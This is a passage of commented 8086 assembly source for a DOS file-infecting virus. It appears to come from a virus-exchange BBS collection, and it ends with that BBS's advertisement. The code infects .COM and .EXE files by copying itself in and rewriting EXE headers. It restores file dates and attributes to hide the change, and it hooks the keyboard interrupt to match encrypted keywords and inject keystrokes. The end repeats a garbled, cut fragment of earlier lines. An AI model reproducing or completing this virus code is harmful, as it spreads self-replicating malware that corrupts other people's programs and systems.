JE BP0390 ; Branch if off
|
||
JMP BP0430 ; Process EXE file
|
||
|
||
; .COM file processing
|
||
|
||
BP0390: MOV BX,1000H ; 64K of memory wanted
|
||
MOV AH,48H ; Allocate memory
|
||
INT 21H ; DOS service (Allocate memory)
|
||
JNB BP0400 ; Branch if successful
|
||
MOV AH,3EH ; Close handle
|
||
MOV BX,F_HAND ; Get file handle
|
||
INT 21H ; DOS service (Close handle)
|
||
JMP BP0530 ; Terminate
|
||
|
||
BP0400: INC MEM_SW ; Set on memory allocated switch
|
||
MOV ES,AX ; Segment of allocated memory
|
||
XOR SI,SI ; Start of virus
|
||
MOV DI,SI ; Start of allocated memory
|
||
MOV CX,OFFSET ENDADR ; Length of virus
|
||
REPZ MOVSB ; Copy virus to allocated
|
||
MOV DX,DI ; Address after virus
|
||
MOV CX,F_SIZE ; Total file size
|
||
MOV BX,F_HAND ; Get file handle
|
||
PUSH ES ; \ Set DS to ES
|
||
POP DS ; /
|
||
MOV AH,3FH ; Read handle
|
||
INT 21H ; DOS service (Read handle)
|
||
BP0410: JB BP0420 ; Follow chain of error branches
|
||
ADD DI,CX ; Add previous file size
|
||
XOR CX,CX ; \ Beginning of file
|
||
MOV DX,CX ; /
|
||
MOV AX,4200H ; Move file pointer
|
||
INT 21H ; DOS service (Move pointer)
|
||
MOV SI,OFFSET VR_SIG ; Signature
|
||
MOV CX,6 ; Length to move
|
||
REPZ MOVS [DI],CS:VR_SIG ; Copy signature to end
|
||
MOV CX,DI ; Length to write
|
||
XOR DX,DX ; Start of allocated
|
||
MOV AH,40H ; Write handle
|
||
INT 21H ; DOS service (Write handle)
|
||
BP0420: JB BP0440 ; Follow chain of error branches
|
||
JMP BP0510 ; Free memory and reset values
|
||
|
||
; .EXE file processing
|
||
|
||
BP0430: MOV CX,1CH ; Length of EXE header
|
||
MOV DX,OFFSET EXEHED ; .EXE header store
|
||
MOV AH,3FH ; Read handle
|
||
INT 21H ; DOS service (Read handle)
|
||
BP0440: JB BP0460 ; Follow chain of error branches
|
||
MOV EXHD09,1988H ; Negative checksum
|
||
MOV AX,EXHD07 ; \ Store initial stack segment
|
||
MOV PRG_SS,AX ; /
|
||
MOV AX,EXHD08 ; \ Store initial stack pointer
|
||
MOV PRG_SP,AX ; /
|
||
MOV AX,EXHD10 ; \ Store initial code offset
|
||
MOV PRGOFF,AX ; /
|
||
MOV AX,EXHD11 ; \ Store initial code segment
|
||
MOV PRGSEG,AX ; /
|
||
MOV AX,EXHD02 ; Get size of file in pages
|
||
CMP EXHD01,0 ; Number of bytes in last page
|
||
JE BP0450 ; Branch if none
|
||
DEC AX ; One less page
|
||
BP0450: MUL BYTSEC ; Bytes per sector
|
||
ADD AX,EXHD01 ; \ Add bytes in last page
|
||
ADC DX,0 ; /
|
||
ADD AX,0FH ; \ Round up
|
||
ADC DX,0 ; /
|
||
AND AX,0FFF0H ; Clear bottom figure
|
||
MOV F_SIZ1,AX ; Save low-order file size
|
||
MOV F_SIZ2,DX ; Save high-order file size
|
||
ADD AX,OFFSET ENDADR ; \ Add virus length
|
||
ADC DX,0 ; /
|
||
BP0460: JB BP0480 ; Follow chain of error branches
|
||
DIV BYTSEC ; Bytes per sector
|
||
OR DX,DX ; Test odd bytes
|
||
JZ BP0470 ; Branch if none
|
||
INC AX ; One more page for odd bytes
|
||
BP0470: MOV EXHD02,AX ; Store size of file in pages
|
||
MOV EXHD01,DX ; Store bytes in last page
|
||
MOV AX,F_SIZ1 ; Low-order file size
|
||
MOV DX,F_SIZ2 ; High-order file size
|
||
DIV PARAGR ; Size of a paragraph
|
||
SUB AX,EXHD04 ; Size of header in paragraphs
|
||
MOV EXHD11,AX ; Initial code segment
|
||
MOV EXHD10,OFFSET BP0030 ; Initial code offset
|
||
MOV EXHD07,AX ; Initial stack segment
|
||
MOV EXHD08,OFFSET ENDADR ; Initial stack pointer
|
||
XOR CX,CX ; \ Beginning of file
|
||
MOV DX,CX ; /
|
||
MOV AX,4200H ; Move file pointer
|
||
INT 21H ; DOS service (Move pointer)
|
||
BP0480: JB BP0490 ; Follow chain of error branches
|
||
MOV CX,1CH ; Length of EXE header
|
||
MOV DX,OFFSET EXEHED ; .EXE header store
|
||
MOV AH,40H ; Write handle
|
||
INT 21H ; DOS service (Write handle)
|
||
BP0490: JB BP0500 ; Follow chain of error branches
|
||
CMP AX,CX ; Has same length been written
|
||
JNE BP0510 ; Branch if not
|
||
MOV DX,F_SIZ1 ; Low-order file size
|
||
MOV CX,F_SIZ2 ; High-order file size
|
||
MOV AX,4200H ; Move file pointer
|
||
INT 21H ; DOS service (Move pointer)
|
||
BP0500: JB BP0510 ; Follow chain of error branches
|
||
XOR DX,DX ; Address beginning of virus
|
||
MOV CX,OFFSET ENDADR ; Length of virus
|
||
MOV AH,40H ; Write handle
|
||
INT 21H ; DOS service (Write handle)
|
||
ASSUME DS:NOTHING
|
||
BP0510: CMP MEM_SW,0 ; Test memory allocated switch
|
||
JE BP0520 ; Branch if off
|
||
MOV AH,49H ; Free allocated memory
|
||
INT 21H ; DOS service (Free memory)
|
||
BP0520: CMP F_HAND,-1 ; Test file handle
|
||
JE BP0530 ; Terminate if none
|
||
MOV BX,F_HAND ; Get file handle
|
||
MOV DX,F_DATE ; Get file date
|
||
MOV CX,F_TIME ; Get file time
|
||
MOV AX,5701H ; Set file date and time
|
||
INT 21H ; DOS service (Set file date)
|
||
MOV AH,3EH ; Close handle
|
||
INT 21H ; DOS service (Close handle)
|
||
LDS DX,F_PATH ; Address program pathname
|
||
MOV CX,F_ATTS ; Load file attributes
|
||
MOV AX,4301H ; Set file attributes
|
||
INT 21H ; DOS service (Set attributes)
|
||
LDS DX,INT_24 ; Original interrupt 24H address
|
||
MOV AX,2524H ; Set interrupt 24H
|
||
INT 21H ; DOS service (Set int)
|
||
BP0530: POP ES
|
||
POP DS
|
||
POP DI
|
||
POP SI
|
||
POP DX
|
||
POP CX
|
||
POP BX
|
||
POP AX
|
||
POPF
|
||
JMP INT_21 ; Interrupt 21H
|
||
|
||
; Interrupt 16H routine
|
||
|
||
BP0540: PUSHF ; Fake an interrupt
|
||
CMP AH,0 ; Get a token function?
|
||
JE BP0550 ; Branch if yes
|
||
POPF ; Fake interrupt not needed
|
||
JMP INT_16 ; Pass on to original interrupt
|
||
|
||
BP0550: CALL INT_16 ; Deal with original interrupt
|
||
PUSH AX
|
||
PUSH BX
|
||
PUSH DI
|
||
PUSH DS
|
||
PUSH ES
|
||
PUSH CS ; \ Set DS to CS
|
||
POP DS ; /
|
||
XOR BX,BX ; \ Set ES to zero
|
||
MOV ES,BX ; /
|
||
ASSUME DS:CODE,ES:RAM
|
||
CMP OUT_SW,0 ; Is output switch on?
|
||
JNE BP0630 ; Branch if yes
|
||
OR AL,20H ; Convert to lower case
|
||
XOR AL,0AFH ; Decrypt character
|
||
MOV DI,OFFSET TABLE ; Address first entry
|
||
BP0560: CMP BYTE PTR [DI],0 ; Is this the end of the table?
|
||
JE BP0590 ; Branch if yes
|
||
XOR BX,BX ; Clear register
|
||
MOV BL,[DI+1] ; Get current character pointer
|
||
ADD BX,[DI+2] ; Add current entry pointer
|
||
CMP AL,[BX] ; Is character the one we want?
|
||
JE BP0570 ; Branch if yes
|
||
MOV BYTE PTR [DI+1],0 ; Clear character pointer
|
||
JMP BP0580
|
||
|
||
BP0570: INC BYTE PTR [DI+1]
|
||
BP0580: ADD DI,4 ; Next entry
|
||
JMP BP0560 ; Process next entry
|
||
|
||
BP0590: MOV DI,OFFSET TABLE ; Address first entry
|
||
BP0600: CMP BYTE PTR [DI],0 ; Is this the end of the table?
|
||
JE BP0610 ; Branch if yes
|
||
MOV AL,[DI+1] ; Get current character pointer
|
||
CMP AL,[DI] ; Do we have a complete match?
|
||
JNE BP0620 ; Branch if not
|
||
MOV TABOUT,DI ; Save relevant pointer
|
||
INC OUT_SW ; Set on output switch
|
||
MOV AX,40H ; \ Address RAM
|
||
MOV ES,AX ; /
|
||
ASSUME ES:RAM40
|
||
MOV AX,BW041A ; Get key token in pointer
|
||
MOV BW041C,AX ; Set key token out pointer
|
||
CALL BP0640 ; Put a character into the buffer
|
||
BP0610: POP ES
|
||
POP DS
|
||
POP DI
|
||
POP BX
|
||
POP AX
|
||
IRET
|
||
|
||
BP0620: ADD DI,4 ; Next entry
|
||
JMP BP0600 ; Process next entry
|
||
|
||
BP0630: MOV AX,40H ; \ Address RAM
|
||
MOV ES,AX ; /
|
||
CALL BP0640 ; Put a character into the buffer
|
||
XOR BX,BX ; Clear register
|
||
MOV BL,[DI+1] ; Get current character pointer
|
||
ADD BX,[DI+2] ; Add entry pointer
|
||
CMP BYTE PTR [BX],0 ; Was that the last character?
|
||
JNE BP0610 ; Branch if not
|
||
MOV OUT_SW,0 ; Set off output switch
|
||
JMP BP0610
|
||
|
||
BP0640: MOV DI,TABOUT ; Address relevant table entry
|
||
XOR BX,BX ; Clear register
|
||
MOV BL,[DI+1] ; Get current character pointer
|
||
ADD BX,[DI+2] ; Add entry pointer
|
||
MOV AL,[BX] ; Get the character
|
||
XOR AL,0AFH ; Decrypt character
|
||
INC BYTE PTR [DI+1] ; Next character
|
||
MOV AH,AL ; Copy for translate
|
||
MOV BX,OFFSET KEYTAB ; Address key number table
|
||
XLAT ; Get key number
|
||
XCHG AH,AL ; Reserve order
|
||
MOV BX,BW041C ; Get key token out pointer
|
||
MOV ES:[BX],AX ; Put key token into buffer
|
||
INC BX ; \ Next buffer position
|
||
INC BX ; /
|
||
CMP BX,BW0482 ; Passed end of buffer?
|
||
JNE BP0650 ; Branch if not
|
||
MOV BX,BW0480 ; Get buffer start
|
||
BP0650: MOV BW041C,BX ; Save new key token out pointer
|
||
RET
|
||
|
||
; Stack area - This is also necessary to make the virus a complete
|
||
; number of paragraphs
|
||
|
||
DB 04CH, 002H, 0AAH, 031H, 09EH, 002H, 0A5H, 031H
|
||
|
||
ENDADR EQU $
|
||
|
||
CODE ENDS
|
||
|
||
END START
|
||
ete
|
||
; number of paragraphs
|
||
|
||
DB 04CH,
|
||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
; ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ
|
||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|